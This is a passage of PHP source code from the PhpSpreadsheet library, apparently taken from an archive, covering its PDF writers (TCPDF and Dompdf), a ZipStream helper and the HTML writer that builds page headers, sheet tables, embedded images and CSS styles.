0)->getPageSetup(); $orientation = $this->getOrientation() ?? $setup->getOrientation(); $orientation = ($orientation === PageSetup::ORIENTATION_LANDSCAPE) ? 'L' : 'P'; $printPaperSize = $this->getPaperSize() ?? $setup->getPaperSize(); $paperSize = self::$paperSizes[$printPaperSize] ?? PageSetup::getPaperSizeDefault(); $printMargins = $this->spreadsheet->getSheet($this->getSheetIndex() ?? 0)->getPageMargins(); // Create PDF $pdf = $this->createExternalWriterInstance($orientation, 'pt', $paperSize); $pdf->setFontSubsetting(false); // Set margins, converting inches to points (using 72 dpi) $pdf->SetMargins($printMargins->getLeft() * 72, $printMargins->getTop() * 72, $printMargins->getRight() * 72); $pdf->SetAutoPageBreak(true, $printMargins->getBottom() * 72); $pdf->setPrintHeader(false); $pdf->setPrintFooter(false); $pdf->AddPage(); // Set the appropriate font $pdf->SetFont($this->getFont()); $pdf->writeHTML($this->generateHTMLAll()); // Document info $pdf->SetTitle($this->spreadsheet->getProperties()->getTitle()); $pdf->SetAuthor($this->spreadsheet->getProperties()->getCreator()); $pdf->SetSubject($this->spreadsheet->getProperties()->getSubject()); $pdf->SetKeywords($this->spreadsheet->getProperties()->getKeywords()); $pdf->SetCreator($this->spreadsheet->getProperties()->getCreator()); // Write to file fwrite($fileHandle, $pdf->output('', 'S')); parent::restoreStateAfterSave(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Pdf/Dompdf.php000064400000003403151676714400021156 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Pdf; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup; use PhpOffice\PhpSpreadsheet\Writer\Pdf; class Dompdf extends Pdf { /** * embed images, or link to images. */ protected bool $embedImages = true; /** * Gets the implementation of external PDF library that should be used. * * @return \Dompdf\Dompdf implementation */ protected function createExternalWriterInstance(): \Dompdf\Dompdf { return new \Dompdf\Dompdf(); } /** * Save Spreadsheet to file. * * @param string $filename Name of the file to save as */ public function save($filename, int $flags = 0): void { $fileHandle = parent::prepareForSave($filename); // Check for paper size and page orientation $setup = $this->spreadsheet->getSheet($this->getSheetIndex() ?? 0)->getPageSetup(); $orientation = $this->getOrientation() ?? $setup->getOrientation(); $orientation = ($orientation === PageSetup::ORIENTATION_LANDSCAPE) ? 'L' : 'P'; $printPaperSize = $this->getPaperSize() ?? $setup->getPaperSize(); $paperSize = self::$paperSizes[$printPaperSize] ?? PageSetup::getPaperSizeDefault(); if (is_array($paperSize) && count($paperSize) === 2) { $paperSize = [0.0, 0.0, $paperSize[0], $paperSize[1]]; } $orientation = ($orientation == 'L') ? 'landscape' : 'portrait'; // Create PDF $pdf = $this->createExternalWriterInstance(); $pdf->setPaper($paperSize, $orientation); $pdf->loadHtml($this->generateHTMLAll()); $pdf->render(); // Write to file fwrite($fileHandle, $pdf->output() ?? ''); parent::restoreStateAfterSave(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/ZipStream2.php000064400000000651151676714400021236 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; use ZipStream\Option\Archive; use ZipStream\ZipStream; class ZipStream2 { /** * @param resource $fileHandle */ public static function newZipStream($fileHandle): ZipStream { $options = new Archive(); $options->setEnableZip64(false); $options->setOutputStream($fileHandle); return new ZipStream(null, $options); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Html.php000064400000203220151676714400020137 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Chart\Chart; use PhpOffice\PhpSpreadsheet\Document\Properties; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\RichText\Run; use PhpOffice\PhpSpreadsheet\Settings; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\Drawing as SharedDrawing; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Shared\Font as SharedFont; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Border; use PhpOffice\PhpSpreadsheet\Style\Borders; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\Font; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Style\Style; use PhpOffice\PhpSpreadsheet\Worksheet\BaseDrawing; use PhpOffice\PhpSpreadsheet\Worksheet\Drawing; use PhpOffice\PhpSpreadsheet\Worksheet\MemoryDrawing; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Html extends BaseWriter { private const DEFAULT_CELL_WIDTH_POINTS = 42; private const DEFAULT_CELL_WIDTH_PIXELS = 56; /** * Migration aid to tell if html tags will be treated as plaintext in comments. * if ( * defined( * \PhpOffice\PhpSpreadsheet\Writer\Html::class * . '::COMMENT_HTML_TAGS_PLAINTEXT' * ) * ) { * new logic with styling in TextRun elements * } else { * old logic with styling via Html tags * }. */ public const COMMENT_HTML_TAGS_PLAINTEXT = true; /** * Spreadsheet object. */ protected Spreadsheet $spreadsheet; /** * Sheet index to write. */ private ?int $sheetIndex = 0; /** * Images root. */ private string $imagesRoot = ''; /** * embed images, or link to images. */ protected bool $embedImages = false; /** * Use inline CSS? */ private bool $useInlineCss = false; /** * Array of CSS styles. */ private ?array $cssStyles = null; /** * Array of column widths in points. */ private array $columnWidths; /** * Default font. */ private Font $defaultFont; /** * Flag whether spans have been calculated. */ private bool $spansAreCalculated = false; /** * Excel cells that should not be written as HTML cells. */ private array $isSpannedCell = []; /** * Excel cells that are upper-left corner in a cell merge. */ private array $isBaseCell = []; /** * Excel rows that should not be written as HTML rows. */ private array $isSpannedRow = []; /** * Is the current writer creating PDF? */ protected bool $isPdf = false; /** * Is the current writer creating mPDF? * * @deprecated 2.0.1 use instanceof Mpdf instead */ protected bool $isMPdf = false; /** * Generate the Navigation block. */ private bool $generateSheetNavigationBlock = true; /** * Callback for editing generated html. * * @var null|callable */ private $editHtmlCallback; /** @var BaseDrawing[] */ private $sheetDrawings; /** @var Chart[] */ private $sheetCharts; /** * Create a new HTML. */ public function __construct(Spreadsheet $spreadsheet) { $this->spreadsheet = $spreadsheet; $this->defaultFont = $this->spreadsheet->getDefaultStyle()->getFont(); } /** * Save Spreadsheet to file. * * @param resource|string $filename */ public function save($filename, int $flags = 0): void { $this->processFlags($flags); // Open file $this->openFileHandle($filename); // Write html fwrite($this->fileHandle, $this->generateHTMLAll()); // Close file $this->maybeCloseFileHandle(); } /** * Save Spreadsheet as html to variable. */ public function generateHtmlAll(): string { // garbage collect $this->spreadsheet->garbageCollect(); $saveDebugLog = Calculation::getInstance($this->spreadsheet)->getDebugLog()->getWriteDebugLog(); Calculation::getInstance($this->spreadsheet)->getDebugLog()->setWriteDebugLog(false); $saveArrayReturnType = Calculation::getArrayReturnType(); Calculation::setArrayReturnType(Calculation::RETURN_ARRAY_AS_VALUE); // Build CSS $this->buildCSS(!$this->useInlineCss); $html = ''; // Write headers $html .= $this->generateHTMLHeader(!$this->useInlineCss); // Write navigation (tabs) if ((!$this->isPdf) && ($this->generateSheetNavigationBlock)) { $html .= $this->generateNavigation(); } // Write data $html .= $this->generateSheetData(); // Write footer $html .= $this->generateHTMLFooter(); $callback = $this->editHtmlCallback; if ($callback) { $html = $callback($html); } Calculation::setArrayReturnType($saveArrayReturnType); Calculation::getInstance($this->spreadsheet)->getDebugLog()->setWriteDebugLog($saveDebugLog); return $html; } /** * Set a callback to edit the entire HTML. * * The callback must accept the HTML as string as first parameter, * and it must return the edited HTML as string. */ public function setEditHtmlCallback(?callable $callback): void { $this->editHtmlCallback = $callback; } /** * Map VAlign. * * @param string $vAlign Vertical alignment */ private function mapVAlign(string $vAlign): string { return Alignment::VERTICAL_ALIGNMENT_FOR_HTML[$vAlign] ?? ''; } /** * Map HAlign. * * @param string $hAlign Horizontal alignment */ private function mapHAlign(string $hAlign): string { return Alignment::HORIZONTAL_ALIGNMENT_FOR_HTML[$hAlign] ?? ''; } const BORDER_ARR = [ Border::BORDER_NONE => 'none', Border::BORDER_DASHDOT => '1px dashed', Border::BORDER_DASHDOTDOT => '1px dotted', Border::BORDER_DASHED => '1px dashed', Border::BORDER_DOTTED => '1px dotted', Border::BORDER_DOUBLE => '3px double', Border::BORDER_HAIR => '1px solid', Border::BORDER_MEDIUM => '2px solid', Border::BORDER_MEDIUMDASHDOT => '2px dashed', Border::BORDER_MEDIUMDASHDOTDOT => '2px dotted', Border::BORDER_SLANTDASHDOT => '2px dashed', Border::BORDER_THICK => '3px solid', ]; /** * Map border style. * * @param int|string $borderStyle Sheet index */ private function mapBorderStyle($borderStyle): string { return array_key_exists($borderStyle, self::BORDER_ARR) ? self::BORDER_ARR[$borderStyle] : '1px solid'; } /** * Get sheet index. */ public function getSheetIndex(): ?int { return $this->sheetIndex; } /** * Set sheet index. * * @param int $sheetIndex Sheet index * * @return $this */ public function setSheetIndex(int $sheetIndex): static { $this->sheetIndex = $sheetIndex; return $this; } /** * Get sheet index. */ public function getGenerateSheetNavigationBlock(): bool { return $this->generateSheetNavigationBlock; } /** * Set sheet index. * * @param bool $generateSheetNavigationBlock Flag indicating whether the sheet navigation block should be generated or not * * @return $this */ public function setGenerateSheetNavigationBlock(bool $generateSheetNavigationBlock): static { $this->generateSheetNavigationBlock = (bool) $generateSheetNavigationBlock; return $this; } /** * Write all sheets (resets sheetIndex to NULL). * * @return $this */ public function writeAllSheets(): static { $this->sheetIndex = null; return $this; } private static function generateMeta(?string $val, string $desc): string { return ($val || $val === '0') ? (' <meta name="' . $desc . '" content="' . htmlspecialchars($val, Settings::htmlEntityFlags()) . '" />' . PHP_EOL) : ''; } public const BODY_LINE = ' <body>' . PHP_EOL; private const CUSTOM_TO_META = [ Properties::PROPERTY_TYPE_BOOLEAN => 'bool', Properties::PROPERTY_TYPE_DATE => 'date', Properties::PROPERTY_TYPE_FLOAT => 'float', Properties::PROPERTY_TYPE_INTEGER => 'int', Properties::PROPERTY_TYPE_STRING => 'string', ]; /** * Generate HTML header. * * @param bool $includeStyles Include styles? */ public function generateHTMLHeader(bool $includeStyles = false): string { // Construct HTML $properties = $this->spreadsheet->getProperties(); $html = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">' . PHP_EOL; $html .= '<html xmlns="http://www.w3.org/1999/xhtml">' . PHP_EOL; $html .= ' <head>' . PHP_EOL; $html .= ' <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />' . PHP_EOL; $html .= ' <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />' . PHP_EOL; $html .= ' <title>' . htmlspecialchars($properties->getTitle(), Settings::htmlEntityFlags()) . '</title>' . PHP_EOL; $html .= self::generateMeta($properties->getCreator(), 'author'); $html .= self::generateMeta($properties->getTitle(), 'title'); $html .= self::generateMeta($properties->getDescription(), 'description'); $html .= self::generateMeta($properties->getSubject(), 'subject'); $html .= self::generateMeta($properties->getKeywords(), 'keywords'); $html .= self::generateMeta($properties->getCategory(), 'category'); $html .= self::generateMeta($properties->getCompany(), 'company'); $html .= self::generateMeta($properties->getManager(), 'manager'); $html .= self::generateMeta($properties->getLastModifiedBy(), 'lastModifiedBy'); $html .= self::generateMeta($properties->getViewport(), 'viewport'); $date = Date::dateTimeFromTimestamp((string) $properties->getCreated()); $date->setTimeZone(Date::getDefaultOrLocalTimeZone()); $html .= self::generateMeta($date->format(DATE_W3C), 'created'); $date = Date::dateTimeFromTimestamp((string) $properties->getModified()); $date->setTimeZone(Date::getDefaultOrLocalTimeZone()); $html .= self::generateMeta($date->format(DATE_W3C), 'modified'); $customProperties = $properties->getCustomProperties(); foreach ($customProperties as $customProperty) { $propertyValue = $properties->getCustomPropertyValue($customProperty); $propertyType = $properties->getCustomPropertyType($customProperty); $propertyQualifier = self::CUSTOM_TO_META[$propertyType] ?? null; if ($propertyQualifier !== null) { if ($propertyType === Properties::PROPERTY_TYPE_BOOLEAN) { $propertyValue = $propertyValue ? '1' : '0'; } elseif ($propertyType === Properties::PROPERTY_TYPE_DATE) { $date = Date::dateTimeFromTimestamp((string) $propertyValue); $date->setTimeZone(Date::getDefaultOrLocalTimeZone()); $propertyValue = $date->format(DATE_W3C); } else { $propertyValue = (string) $propertyValue; } $html .= self::generateMeta($propertyValue, "custom.$propertyQualifier.$customProperty"); } } if (!empty($properties->getHyperlinkBase())) { $html .= ' <base href="' . $properties->getHyperlinkBase() . '" />' . PHP_EOL; } $html .= $includeStyles ? $this->generateStyles(true) : $this->generatePageDeclarations(true); $html .= ' </head>' . PHP_EOL; $html .= '' . PHP_EOL; $html .= self::BODY_LINE; return $html; } private function generateSheetPrep(): array { // Ensure that Spans have been calculated? $this->calculateSpans(); // Fetch sheets if ($this->sheetIndex === null) { $sheets = $this->spreadsheet->getAllSheets(); } else { $sheets = [$this->spreadsheet->getSheet($this->sheetIndex)]; } return $sheets; } private function generateSheetStarts(Worksheet $sheet, int $rowMin): array { // calculate start of <tbody>, <thead> $tbodyStart = $rowMin; $theadStart = $theadEnd = 0; // default: no <thead> no </thead> if ($sheet->getPageSetup()->isRowsToRepeatAtTopSet()) { $rowsToRepeatAtTop = $sheet->getPageSetup()->getRowsToRepeatAtTop(); // we can only support repeating rows that start at top row if ($rowsToRepeatAtTop[0] == 1) { $theadStart = $rowsToRepeatAtTop[0]; $theadEnd = $rowsToRepeatAtTop[1]; $tbodyStart = $rowsToRepeatAtTop[1] + 1; } } return [$theadStart, $theadEnd, $tbodyStart]; } private function generateSheetTags(int $row, int $theadStart, int $theadEnd, int $tbodyStart): array { // <thead> ? $startTag = ($row == $theadStart) ? (' <thead>' . PHP_EOL) : ''; if (!$startTag) { $startTag = ($row == $tbodyStart) ? (' <tbody>' . PHP_EOL) : ''; } $endTag = ($row == $theadEnd) ? (' </thead>' . PHP_EOL) : ''; $cellType = ($row >= $tbodyStart) ? 'td' : 'th'; return [$cellType, $startTag, $endTag]; } /** * Generate sheet data. */ public function generateSheetData(): string { $sheets = $this->generateSheetPrep(); // Construct HTML $html = ''; // Loop all sheets $sheetId = 0; foreach ($sheets as $sheet) { // Write table header $html .= $this->generateTableHeader($sheet); $this->sheetCharts = []; $this->sheetDrawings = []; // Get worksheet dimension [$min, $max] = explode(':', $sheet->calculateWorksheetDataDimension()); [$minCol, $minRow, $minColString] = Coordinate::indexesFromString($min); [$maxCol, $maxRow] = Coordinate::indexesFromString($max); $this->extendRowsAndColumns($sheet, $maxCol, $maxRow); [$theadStart, $theadEnd, $tbodyStart] = $this->generateSheetStarts($sheet, $minRow); // Loop through cells $row = $minRow - 1; while ($row++ < $maxRow) { [$cellType, $startTag, $endTag] = $this->generateSheetTags($row, $theadStart, $theadEnd, $tbodyStart); $html .= $startTag; // Write row if there are HTML table cells in it if ($this->shouldGenerateRow($sheet, $row) && !isset($this->isSpannedRow[$sheet->getParent()->getIndex($sheet)][$row])) { // Start a new rowData $rowData = []; // Loop through columns $column = $minCol; $colStr = $minColString; while ($column <= $maxCol) { // Cell exists? $cellAddress = Coordinate::stringFromColumnIndex($column) . $row; if ($this->shouldGenerateColumn($sheet, $colStr)) { $rowData[$column] = ($sheet->getCellCollection()->has($cellAddress)) ? $cellAddress : ''; } ++$column; ++$colStr; } $html .= $this->generateRow($sheet, $rowData, $row - 1, $cellType); } $html .= $endTag; } // Write table footer $html .= $this->generateTableFooter(); // Writing PDF? if ($this->isPdf && $this->useInlineCss) { if ($this->sheetIndex === null && $sheetId + 1 < $this->spreadsheet->getSheetCount()) { $html .= '<div style="page-break-before:always" ></div>'; } } // Next sheet ++$sheetId; } return $html; } /** * Generate sheet tabs. */ public function generateNavigation(): string { // Fetch sheets $sheets = []; if ($this->sheetIndex === null) { $sheets = $this->spreadsheet->getAllSheets(); } else { $sheets[] = $this->spreadsheet->getSheet($this->sheetIndex); } // Construct HTML $html = ''; // Only if there are more than 1 sheets if (count($sheets) > 1) { // Loop all sheets $sheetId = 0; $html .= '<ul class="navigation">' . PHP_EOL; foreach ($sheets as $sheet) { $html .= ' <li class="sheet' . $sheetId . '"><a href="#sheet' . $sheetId . '">' . $sheet->getTitle() . '</a></li>' . PHP_EOL; ++$sheetId; } $html .= '</ul>' . PHP_EOL; } return $html; } private function extendRowsAndColumns(Worksheet $worksheet, int &$colMax, int &$rowMax): void { if ($this->includeCharts) { foreach ($worksheet->getChartCollection() as $chart) { if ($chart instanceof Chart) { $chartCoordinates = $chart->getTopLeftPosition(); $this->sheetCharts[$chartCoordinates['cell']] = $chart; $chartTL = Coordinate::indexesFromString($chartCoordinates['cell']); if ($chartTL[1] > $rowMax) { $rowMax = $chartTL[1]; } if ($chartTL[0] > $colMax) { $colMax = $chartTL[0]; } } } } foreach ($worksheet->getDrawingCollection() as $drawing) { $imageTL = Coordinate::indexesFromString($drawing->getCoordinates()); $this->sheetDrawings[$drawing->getCoordinates()] = $drawing; if ($imageTL[1] > $rowMax) { $rowMax = $imageTL[1]; } if ($imageTL[0] > $colMax) { $colMax = $imageTL[0]; } } } /** * Convert Windows file name to file protocol URL. * * @param string $filename file name on local system */ public static function winFileToUrl(string $filename, bool $mpdf = false): string { // Windows filename if (substr($filename, 1, 2) === ':\\') { $protocol = $mpdf ? '' : 'file:///'; $filename = $protocol . str_replace('\\', '/', $filename); } return $filename; } /** * Generate image tag in cell. * * @param string $coordinates Cell coordinates */ private function writeImageInCell(string $coordinates): string { // Construct HTML $html = ''; // Write images $drawing = $this->sheetDrawings[$coordinates] ?? null; if ($drawing !== null) { $filedesc = $drawing->getDescription(); $filedesc = $filedesc ? htmlspecialchars($filedesc, ENT_QUOTES) : 'Embedded image'; if ($drawing instanceof Drawing) { $filename = $drawing->getPath(); // Strip off eventual '.' $filename = (string) preg_replace('/^[.]/', '', $filename); // Prepend images root $filename = $this->getImagesRoot() . $filename; // Strip off eventual '.' if followed by non-/ $filename = (string) preg_replace('@^[.]([^/])@', '$1', $filename); // Convert UTF8 data to PCDATA $filename = htmlspecialchars($filename, Settings::htmlEntityFlags()); $html .= PHP_EOL; $imageData = self::winFileToUrl($filename, $this instanceof Pdf\Mpdf); if ($this->embedImages || str_starts_with($imageData, 'zip://')) { $picture = @file_get_contents($filename); if ($picture !== false) { $imageDetails = getimagesize($filename) ?: ['mime' => '']; // base64 encode the binary data $base64 = base64_encode($picture); $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64; } } $html .= '<img style="position: absolute; z-index: 1; left: ' . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: ' . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="' . $imageData . '" alt="' . $filedesc . '" />'; } elseif ($drawing instanceof MemoryDrawing) { $imageResource = $drawing->getImageResource(); if ($imageResource) { ob_start(); // Let's start output buffering. imagepng($imageResource); // This will normally output the image, but because of ob_start(), it won't. $contents = (string) ob_get_contents(); // Instead, output above is saved to $contents ob_end_clean(); // End the output buffer. $dataUri = 'data:image/png;base64,' . base64_encode($contents); // Because of the nature of tables, width is more important than height. // max-width: 100% ensures that image doesnt overflow containing cell // However, PR #3535 broke test // 25_In_memory_image, apparently because // of the use of max-with. In addition, // non-memory-drawings don't use max-width. // Its use here is suspect and is being eliminated. // width: X sets width of supplied image. // As a result, images bigger than cell will be contained and images smaller will not get stretched $html .= '<img alt="' . $filedesc . '" src="' . $dataUri . '" style="width:' . $drawing->getWidth() . 'px;left: ' . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px;position: absolute; z-index: 1;" />'; } } } return $html; } /** * Generate chart tag in cell. * This code should be exercised by sample: * Chart/32_Chart_read_write_PDF.php. */ private function writeChartInCell(Worksheet $worksheet, string $coordinates): string { // Construct HTML $html = ''; // Write charts $chart = $this->sheetCharts[$coordinates] ?? null; if ($chart !== null) { $chartCoordinates = $chart->getTopLeftPosition(); $chartFileName = File::sysGetTempDir() . '/' . uniqid('', true) . '.png'; $renderedWidth = $chart->getRenderedWidth(); $renderedHeight = $chart->getRenderedHeight(); if ($renderedWidth === null || $renderedHeight === null) { $this->adjustRendererPositions($chart, $worksheet); } $title = $chart->getTitle(); $caption = null; $filedesc = ''; if ($title !== null) { $calculatedTitle = $title->getCalculatedTitle($worksheet->getParent()); if ($calculatedTitle !== null) { $caption = $title->getCaption(); $title->setCaption($calculatedTitle); } $filedesc = $title->getCaptionText($worksheet->getParent()); } $renderSuccessful = $chart->render($chartFileName); $chart->setRenderedWidth($renderedWidth); $chart->setRenderedHeight($renderedHeight); if (isset($title, $caption)) { $title->setCaption($caption); } if (!$renderSuccessful) { return ''; } $html .= PHP_EOL; $imageDetails = getimagesize($chartFileName) ?: ['', '', 'mime' => '']; $filedesc = $filedesc ? htmlspecialchars($filedesc, ENT_QUOTES) : 'Embedded chart'; $picture = file_get_contents($chartFileName); unlink($chartFileName); if ($picture !== false) { $base64 = base64_encode($picture); $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64; $html .= '<img style="position: absolute; z-index: 1; left: ' . $chartCoordinates['xOffset'] . 'px; top: ' . $chartCoordinates['yOffset'] . 'px; width: ' . $imageDetails[0] . 'px; height: ' . $imageDetails[1] . 'px;" src="' . $imageData . '" alt="' . $filedesc . '" />' . PHP_EOL; } } // Return return $html; } private function adjustRendererPositions(Chart $chart, Worksheet $sheet): void { $topLeft = $chart->getTopLeftPosition(); $bottomRight = $chart->getBottomRightPosition(); $tlCell = $topLeft['cell']; $brCell = $bottomRight['cell']; if ($tlCell !== '' && $brCell !== '') { $tlCoordinate = Coordinate::indexesFromString($tlCell); $brCoordinate = Coordinate::indexesFromString($brCell); $totalHeight = 0.0; $totalWidth = 0.0; $defaultRowHeight = $sheet->getDefaultRowDimension()->getRowHeight(); $defaultRowHeight = SharedDrawing::pointsToPixels(($defaultRowHeight >= 0) ? $defaultRowHeight : SharedFont::getDefaultRowHeightByFont($this->defaultFont)); if ($tlCoordinate[1] <= $brCoordinate[1] && $tlCoordinate[0] <= $brCoordinate[0]) { for ($row = $tlCoordinate[1]; $row <= $brCoordinate[1]; ++$row) { $height = $sheet->getRowDimension($row)->getRowHeight('pt'); $totalHeight += ($height >= 0) ? $height : $defaultRowHeight; } $rightEdge = $brCoordinate[2]; ++$rightEdge; for ($column = $tlCoordinate[2]; $column !== $rightEdge; ++$column) { $width = $sheet->getColumnDimension($column)->getWidth(); $width = ($width < 0) ? self::DEFAULT_CELL_WIDTH_PIXELS : SharedDrawing::cellDimensionToPixels($sheet->getColumnDimension($column)->getWidth(), $this->defaultFont); $totalWidth += $width; } $chart->setRenderedWidth($totalWidth); $chart->setRenderedHeight($totalHeight); } } } /** * Generate CSS styles. * * @param bool $generateSurroundingHTML Generate surrounding HTML tags? (<style> and </style>) */ public function generateStyles(bool $generateSurroundingHTML = true): string { // Build CSS $css = $this->buildCSS($generateSurroundingHTML); // Construct HTML $html = ''; // Start styles if ($generateSurroundingHTML) { $html .= ' <style type="text/css">' . PHP_EOL; $html .= (array_key_exists('html', $css)) ? (' html { ' . $this->assembleCSS($css['html']) . ' }' . PHP_EOL) : ''; } // Write all other styles foreach ($css as $styleName => $styleDefinition) { if ($styleName != 'html') { $html .= ' ' . $styleName . ' { ' . $this->assembleCSS($styleDefinition) . ' }' . PHP_EOL; } } $html .= $this->generatePageDeclarations(false); // End styles if ($generateSurroundingHTML) { $html .= ' </style>' . PHP_EOL; } // Return return $html; } private function buildCssRowHeights(Worksheet $sheet, array &$css, int $sheetIndex): void { // Calculate row heights foreach ($sheet->getRowDimensions() as $rowDimension) { $row = $rowDimension->getRowIndex() - 1; // table.sheetN tr.rowYYYYYY { } $css['table.sheet' . $sheetIndex . ' tr.row' . $row] = []; if ($rowDimension->getRowHeight() != -1) { $pt_height = $rowDimension->getRowHeight(); $css['table.sheet' . $sheetIndex . ' tr.row' . $row]['height'] = $pt_height . 'pt'; } if ($rowDimension->getVisible() === false) { $css['table.sheet' . $sheetIndex . ' tr.row' . $row]['display'] = 'none'; $css['table.sheet' . $sheetIndex . ' tr.row' . $row]['visibility'] = 'hidden'; } } } private function buildCssPerSheet(Worksheet $sheet, array &$css): void { // Calculate hash code $sheetIndex = $sheet->getParentOrThrow()->getIndex($sheet); $setup = $sheet->getPageSetup(); if ($setup->getFitToPage() && $setup->getFitToHeight() === 1) { $css["table.sheet$sheetIndex"]['page-break-inside'] = 'avoid'; $css["table.sheet$sheetIndex"]['break-inside'] = 'avoid'; } $picture = $sheet->getBackgroundImage(); if ($picture !== '') { $base64 = base64_encode($picture); $css["table.sheet$sheetIndex"]['background-image'] = 'url(data:' . $sheet->getBackgroundMime() . ';base64,' . $base64 . ')'; } // Build styles // Calculate column widths $sheet->calculateColumnWidths(); // col elements, initialize $highestColumnIndex = Coordinate::columnIndexFromString($sheet->getHighestColumn()) - 1; $column = -1; $colStr = 'A'; while ($column++ < $highestColumnIndex) { $this->columnWidths[$sheetIndex][$column] = self::DEFAULT_CELL_WIDTH_POINTS; // approximation if ($this->shouldGenerateColumn($sheet, $colStr)) { $css['table.sheet' . $sheetIndex . ' col.col' . $column]['width'] = self::DEFAULT_CELL_WIDTH_POINTS . 'pt'; } ++$colStr; } // col elements, loop through columnDimensions and set width foreach ($sheet->getColumnDimensions() as $columnDimension) { $column = Coordinate::columnIndexFromString($columnDimension->getColumnIndex()) - 1; $width = SharedDrawing::cellDimensionToPixels($columnDimension->getWidth(), $this->defaultFont); $width = SharedDrawing::pixelsToPoints($width); if ($columnDimension->getVisible() === false) { $css['table.sheet' . $sheetIndex . ' .column' . $column]['display'] = 'none'; // This would be better but Firefox has an 11-year-old bug. // https://bugzilla.mozilla.org/show_bug.cgi?id=819045 //$css['table.sheet' . $sheetIndex . ' col.col' . $column]['visibility'] = 'collapse'; } if ($width >= 0) { $this->columnWidths[$sheetIndex][$column] = $width; $css['table.sheet' . $sheetIndex . ' col.col' . $column]['width'] = $width . 'pt'; } } // Default row height $rowDimension = $sheet->getDefaultRowDimension(); // table.sheetN tr { } $css['table.sheet' . $sheetIndex . ' tr'] = []; if ($rowDimension->getRowHeight() == -1) { $pt_height = SharedFont::getDefaultRowHeightByFont($this->spreadsheet->getDefaultStyle()->getFont()); } else { $pt_height = $rowDimension->getRowHeight(); } $css['table.sheet' . $sheetIndex . ' tr']['height'] = $pt_height . 'pt'; if ($rowDimension->getVisible() === false) { $css['table.sheet' . $sheetIndex . ' tr']['display'] = 'none'; $css['table.sheet' . $sheetIndex . ' tr']['visibility'] = 'hidden'; } $this->buildCssRowHeights($sheet, $css, $sheetIndex); } /** * Build CSS styles. * * @param bool $generateSurroundingHTML Generate surrounding HTML style? (html { }) */ public function buildCSS(bool $generateSurroundingHTML = true): array { // Cached? if ($this->cssStyles !== null) { return $this->cssStyles; } // Ensure that spans have been calculated $this->calculateSpans(); // Construct CSS $css = []; // Start styles if ($generateSurroundingHTML) { // html { } $css['html']['font-family'] = 'Calibri, Arial, Helvetica, sans-serif'; $css['html']['font-size'] = '11pt'; $css['html']['background-color'] = 'white'; } // CSS for comments as found in LibreOffice $css['a.comment-indicator:hover + div.comment'] = [ 'background' => '#ffd', 'position' => 'absolute', 'display' => 'block', 'border' => '1px solid black', 'padding' => '0.5em', ]; $css['a.comment-indicator'] = [ 'background' => 'red', 'display' => 'inline-block', 'border' => '1px solid black', 'width' => '0.5em', 'height' => '0.5em', ]; $css['div.comment']['display'] = 'none'; // table { } $css['table']['border-collapse'] = 'collapse'; // .b {} $css['.b']['text-align'] = 'center'; // BOOL // .e {} $css['.e']['text-align'] = 'center'; // ERROR // .f {} $css['.f']['text-align'] = 'right'; // FORMULA // .inlineStr {} $css['.inlineStr']['text-align'] = 'left'; // INLINE // .n {} $css['.n']['text-align'] = 'right'; // NUMERIC // .s {} $css['.s']['text-align'] = 'left'; // STRING // Calculate cell style hashes foreach ($this->spreadsheet->getCellXfCollection() as $index => $style) { $css['td.style' . $index . ', th.style' . $index] = $this->createCSSStyle($style); //$css['th.style' . $index] = $this->createCSSStyle($style); } // Fetch sheets $sheets = []; if ($this->sheetIndex === null) { $sheets = $this->spreadsheet->getAllSheets(); } else { $sheets[] = $this->spreadsheet->getSheet($this->sheetIndex); } // Build styles per sheet foreach ($sheets as $sheet) { $this->buildCssPerSheet($sheet, $css); } // Cache if ($this->cssStyles === null) { $this->cssStyles = $css; } // Return return $css; } /** * Create CSS style. */ private function createCSSStyle(Style $style): array { // Create CSS return array_merge( $this->createCSSStyleAlignment($style->getAlignment()), $this->createCSSStyleBorders($style->getBorders()), $this->createCSSStyleFont($style->getFont()), $this->createCSSStyleFill($style->getFill()) ); } /** * Create CSS style. */ private function createCSSStyleAlignment(Alignment $alignment): array { // Construct CSS $css = []; // Create CSS $verticalAlign = $this->mapVAlign($alignment->getVertical() ?? ''); if ($verticalAlign) { $css['vertical-align'] = $verticalAlign; } $textAlign = $this->mapHAlign($alignment->getHorizontal() ?? ''); if ($textAlign) { $css['text-align'] = $textAlign; if (in_array($textAlign, ['left', 'right'])) { $css['padding-' . $textAlign] = (string) ((int) $alignment->getIndent() * 9) . 'px'; } } $rotation = $alignment->getTextRotation(); if ($rotation !== 0 && $rotation !== Alignment::TEXTROTATION_STACK_PHPSPREADSHEET) { if ($this instanceof Pdf\Mpdf) { $css['text-rotate'] = "$rotation"; } else { 